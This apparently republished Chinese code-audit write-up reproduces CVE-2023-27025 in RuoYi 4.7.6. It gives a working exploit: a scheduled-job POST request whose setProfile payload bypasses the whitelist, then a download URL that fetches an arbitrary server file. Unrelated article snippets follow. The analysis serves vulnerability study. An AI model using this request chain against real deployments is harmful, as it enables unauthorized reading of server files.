若依4.7.6 版本任意文件下载(CVE-2023-27025)

news2024/9/24 21:27:09

CVE-2023-27025

框架说明

若依/ruoyi 是使用java主流框架的一款优秀的国内开源cms,
基于SpringBoot、Shiro、Mybatis的权限后台管理系统。

环境搭建

查询最近的漏洞信息

https://cve.mitre.org/
搜索ruoyi
在这里插入图片描述

代码审计感兴趣的漏洞:CVE-2023-27025

An arbitrary file download vulnerability in the background management module of RuoYi v4.7.6 and below allows attackers to download arbitrary files in the server.

源码下载地址

https://gitee.com/y_project/RuoYi/releases

在这里插入图片描述

环境搭建


配置数据库

使用phpstudy_pro 开启和配置一下数据库

在这里插入图片描述

配置一下数据库地址
在这里插入图片描述

导入测试数据库

nvaicat新建一个数据库名为ry的数据库,并运行下面两个sql脚本导入测试数据。

在这里插入图片描述

在这里插入图片描述


启动服务

idea绿色的运行按钮点击一下
在这里插入图片描述
可以访问到,环境搭建成功。

在这里插入图片描述

代码审计

参考文章:

https://gitee.com/y_project/RuoYi/commit/432d5ce1be2e9384a6230d7ccd8401eef5ce02b0
https://gitee.com/y_project/RuoYi/issues/I697Q5

审计

通过补丁修复的位置可以快速定位到问题代码
在这里插入图片描述

执行一下任务接口

/monitor/job/run
跟踪一下代码流程
在这里插入图片描述
在这里插入图片描述

全局搜索
shift键快速按两次
在这里插入图片描述
下好断点,停止服务,开启debug模式,跟进的服务层。
在这里插入图片描述

这里好像不是漏洞的关键点

添加任务绕过白名单(自定义下载文件路径)

POST /monitor/job/add HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 174
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/monitor/job
Cookie: JSESSIONID=b32de574-334d-4831-85bb-17adecd6484e
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

createBy=admin&jobName=renwu&jobGroup=DEFAULT&invokeTarget=ruoYiConfig.setProfile('e://1.txt')&cronExpression=0%2F15+*+*+*+*+%3F&misfirePolicy=1&concurrent=1&status=0&remark=

在这里插入图片描述

添加任务
下断点跟进,发现有很多过滤
src/main/java/com/ruoyi/quartz/controller/SysJobController.java
在这里插入图片描述

跟进whiteList(ctrl+鼠标左键点击一下),跟进白名单,发现漏洞修复的关键代码
在这里插入图片描述
这里成获取到对象,将转换为bean的对象再进行白名单检测
src/main/java/com/ruoyi/quartz/util/ScheduleUtils.java
在这里插入图片描述
在这里插入图片描述

下一步
在这里插入图片描述
一直下一步
通过else if (StringUtils.containsAnyIgnoreCase(job.getInvokeTarget(), Constants.JOB_ERROR_STR))
的判断
在这里插入图片描述
直接放行,添加成功。
在这里插入图片描述

下载功能(触发下载刚刚定义的下载文件)

http://127.0.0.1/common/download/resource?resource=Info.xml:.zip
下载无内容
在这里插入图片描述

执行一次定时任务后,再次访问下载地址
http://127.0.0.1/common/download/resource?resource=Info.xml:.zip
在这里插入图片描述

为什么通过这个接口就可以下载

根据payload设置反向查找关键代码,payload搜索setProfile方法
在这里插入图片描述
src/main/java/com/ruoyi/common/config/RuoYiConfig.java
在这里插入图片描述

payload修改的是profile 的地址
application.yml
在这里插入图片描述

执行一下payload

计划任务就是动态修改application.yaml
在这里插入图片描述

这里跟进一下函数,看是如何修改profile参数的
执行计划任务一次在这里插入图片描述

然后通过下载接口去下载任意文件,任意文件下载中的下载接口
http://127.0.0.1/common/download/resource?resource=Info.xml:.zip
在这里插入图片描述
在这里插入图片描述
下载定义的文件。
在这里插入图片描述

为什么要下载 info.xml:.zip 呢?

跟进到请求地址 /common/download/resource
这里下载有过滤
在这里插入图片描述
跟进一下checkAllowDownload这个函数
ctrl+鼠标左键 点击要调整的函数(checkAllowDownload)就可以调整进来


滤了.. 上一级目录 ![在这里插入图片描述](https://img-blog.csdnimg.cn/e565ca2fe29c4f898076859ceeed8c3a.png)

跟进允许的文件规则
在这里插入图片描述

允许zip格式的下载,白名单
在这里插入图片描述

回到原来下载文件中的
src/main/java/com/ruoyi/web/controller/common/CommonController.java
在这里插入图片描述
通过getProfile() 获取到之前计划任务定义好的文件路径
在这里插入图片描述
下载成功
在这里插入图片描述

这里可以是随便的文件名,只要是白名单就可以。传入的需要下载的文件路径是用过计划任务传入的参数。
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1074690.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

MyBatis-Plus 内置雪花算法主键重复问题

Mybatis-Plus 使用ID_WORKER生成主键id重复 问题描述 目前项目使用的id是mybatis-plus 内置的主键生成策略 ID_WORKER ,最近测试在做性能压测,部署架构是单服务集群的部署方式,然后就发现了id重复的异常,异常如下 问题分析 首先分…

JSONUtil.parse将java对象转为json时,需要在java对象中设置get、set方法

想要使用JSONUtil.parse将java对象转为json格式&#xff0c;但是一直为空&#xff0c;代码如下 public class MyTest {public static void main(String[] args) {Test3<String> test3 new Test3<>("2","hhhhhhaaa");System.out.println(JSON…

Excel统计一列数据中某数字出现的频次函数COUNTIF

一、函数COUNTIF 要统计Excel中一列数据中各个元素出现的频次&#xff0c;可以使用Excel的函数COUNTIF。 假设要统计的数据位于A列&#xff0c;从A1到A10&#xff0c;可以在某小格子中使用以下公式来统计每个元素的频次&#xff1a; COUNTIF($A$1:$A$10, A1) 二、示例 下表…

前端笔记:Create React App 初始化项目的几个关键文件解读

1 介绍 Create React App 是一个官方支持的方式&#xff0c;用于创建单页应用的 React 设置用于构建用户界面的 JAVASCRIPT 库主要用于构建 UI 2 项目结构 一个典型的 Create React App 项目结构如下&#xff1a; ├── package.json ├── public # 这…

[ZJCTF 2019]NiZhuanSiWei - 伪协议+文件包含+反序列化

[ZJCTF 2019]NiZhuanSiWei 1 解题流程1.1 分析1.2 解题 题目源码&#xff1a; <?php $text $_GET["text"]; $file $_GET["file"]; $password $_GET["password"]; if(isset($text)&&(file_get_contents($text,r)"welcome t…

中国替代方案探索:替代谷歌企业邮箱的选择

“谷歌企业邮箱在中国有哪些替代方案&#xff1f;在中国市场上表现出色的企业邮箱有腾讯企业邮箱、网易企业邮箱、阿里企业邮箱以及适合外贸的Zoho Mail企业邮箱。” 在中国由于各种原因&#xff0c;包括网络安全、数据隐私保护以及与GFW(防火长城)等&#xff0c;谷歌企业邮箱并…

unity操作_刚体 c#

刚体Rigidbody 首先在场景中创建一个Plane 位置重置一下 再创建一个Cube 充值 y0.5 我们可以看出创建的Cube 和 Plane都自带碰撞器 Plane用的是网格碰撞器 我们可以通过网格世界看到不同的网格碰撞器 发生碰撞&#xff08;条件&#xff09;&#xff1a; 两个物体都有碰撞器 …

Windows环境下下载安装Elasticsearch和Kibana

Windows环境下下载安装Elasticsearch和Kibana 首先说明这里选择的版本都是7.17 &#xff0c;为什么不选择新版本&#xff0c;新版本有很多坑&#xff0c;要去踩&#xff0c;就用7就够了。 Elasticsearch下载 Elasticsearch是一个开源的分布式搜索和分析引擎&#xff0c;最初由…

C++ 初识STL

STL 1. 初识STL2. STL相关知识学习网站3. STL体系结构4. STL六大组件之间的关系5. STL六大组件使用例子6. 初识容器7. 初识分配器7.1 其他分配器7.2 为什么需要其他的分配器 1. 初识STL STL全称为标准模板库&#xff08;Standard Template Library&#xff09;。设计STL的初衷是…

关于VMware Workstation Pro中虚拟机无法连接外网问题解决

解决方案 1.虚拟机设置 打开虚拟机设置&#xff0c;将网络设备器修改为NAT模式。注意如果是克隆的多个虚拟机&#xff0c;需要将高级&#xff08;V&#xff09;里面的mac地址进行重新生成。 2.配置虚拟网络编辑器 进入虚拟网络编辑器后&#xff0c;将子网和子网掩码进行修…

安卓玩机----展讯芯片机型解锁 读写分区工具 操作步骤解析

国内机型大都使用高通和MTK芯片。展讯芯片使用的较少。相对来说高通和mtk机型解锁以及读取分区工具较多。展讯的几乎没有。目前有大佬开发出了一款展讯芯片解锁 与读写分区工具.开源的tools 官方分享说明&#xff1a; 是一款专为 Windows 计算机设计的免费、用户友好的工具&am…

性价比高的项目管理软件推荐:哪个更适合您?

如今&#xff0c;企业管理软件层出不穷&#xff0c;面对诸多企业管理软件&#xff0c;我们要如何去进行选择。产品的功能都大同小异&#xff0c;当面对如此之多的“衍生品”&#xff0c;我认为首先要考虑的就是性价比。当产品的功能要求都能够满足时&#xff0c;性价比无疑是最…

【Linux】Linux 之用户管理

Linux 之用户管理 1.Linux 下的用户2.配置文件3.用户管理3.1 useradd3.1.1 创建用户并指定用户 ID3.1.2 指定用户的主目录3.1.3 指定用户的主组 3.2 adduser3.3 userdel3.4 密码文件3.4.1 字段含义解释3.4.2 给用户添加密码 3.5 其他与用户相关的命令 4.修改用户的信息4.1 user…

2.6 方法

思维导图&#xff1a; 2.6.1 什么是方法 ### 2.6.1 什么是方法 **定义**: - 方法就是一段可以重复调用的代码&#xff0c;使得程序的可读性、可维护性都得以提高。 **示例**: - 假设有一个游戏中需要反复发射炮弹。而发射炮弹的代码有100行。为了避免在程序中多次写下这100…

Java架构师系统架构设计性能评估

目录 1 导论2 架构评估基础系统性能衡量的基本指标2.1 系统性能的指标2.2 数据库指标2.3 并发用户数2.4 网络延迟2.4 系统吞吐量2.5 资源性能指标3 架构评估基础服务端性能测试3.1基准测试3.2 负载测试3.3 压力测试3.4 疲劳强度测试3.5 容量测试1 导论 本章的主要内容是掌握架构…

【Java】微服务——RabbitMQ消息队列(SpringAMQP实现五种消息模型)

目录 1.初识MQ1.1.同步和异步通讯1.1.1.同步通讯1.1.2.异步通讯 1.2.技术对比&#xff1a; 2.快速入门2.1.RabbitMQ消息模型2.4.1.publisher实现2.4.2.consumer实现 2.5.总结 3.SpringAMQP3.1.Basic Queue 简单队列模型3.1.1.消息发送3.1.2.消息接收3.1.3.测试 3.2.WorkQueue3.…

【Linux升级之路】7_进程信号

目录 一、【Linux初阶】信号入门 | 信号基本概念信号产生核心转储二、【Linux初阶】信号入门2 | 信号阻塞、捕捉、保存 一、【Linux初阶】信号入门 | 信号基本概念信号产生核心转储 链接&#xff1a; 【Linux初阶】信号入门 | 信号基本概念信号产生核心转储 二、【Linux初阶】…

奖品定制经营商城小程序的作用是什么

奖品是激励人员团体很好的方式&#xff0c;也是荣誉象征&#xff0c;奖牌、奖杯、高端礼盒等&#xff0c;同时市场中团体非常多&#xff0c;其需求也是很多&#xff0c;尤其定制方面&#xff0c;就更是不用说。 对奖品定制企业来说&#xff0c;除了线下门店获客经营外&#xf…

使用BAPI_NETWORK_COMP_*实现生产订单组件的增删改查

1、文档说明 对于生产订单组件的增删改有多种办法&#xff0c;比较常用的有使用内部函数CO_XT_COMPONENT_*&#xff0c;有改造BAPI_ALM_ORDER_MAINTAIN来实现&#xff0c;各有千秋。 本文档介绍&#xff0c;通过PS的BAPI_NETWORK_COMP_*系列BAPI&#xff0c;来实现常见的组件…

单链表习题(对应章节chapter2)

题目1&#xff1a;链表的中间结点 题目来源&#xff1a;leetcode链表的中间结点 第一种思路分析&#xff1a;考虑指针移动到相应的位置来做 参考代码&#xff1a;位置&#xff08;/chapter2/c/middle-link-list-node/lc1.cc&#xff09; #include <stdio.h> extern &qu…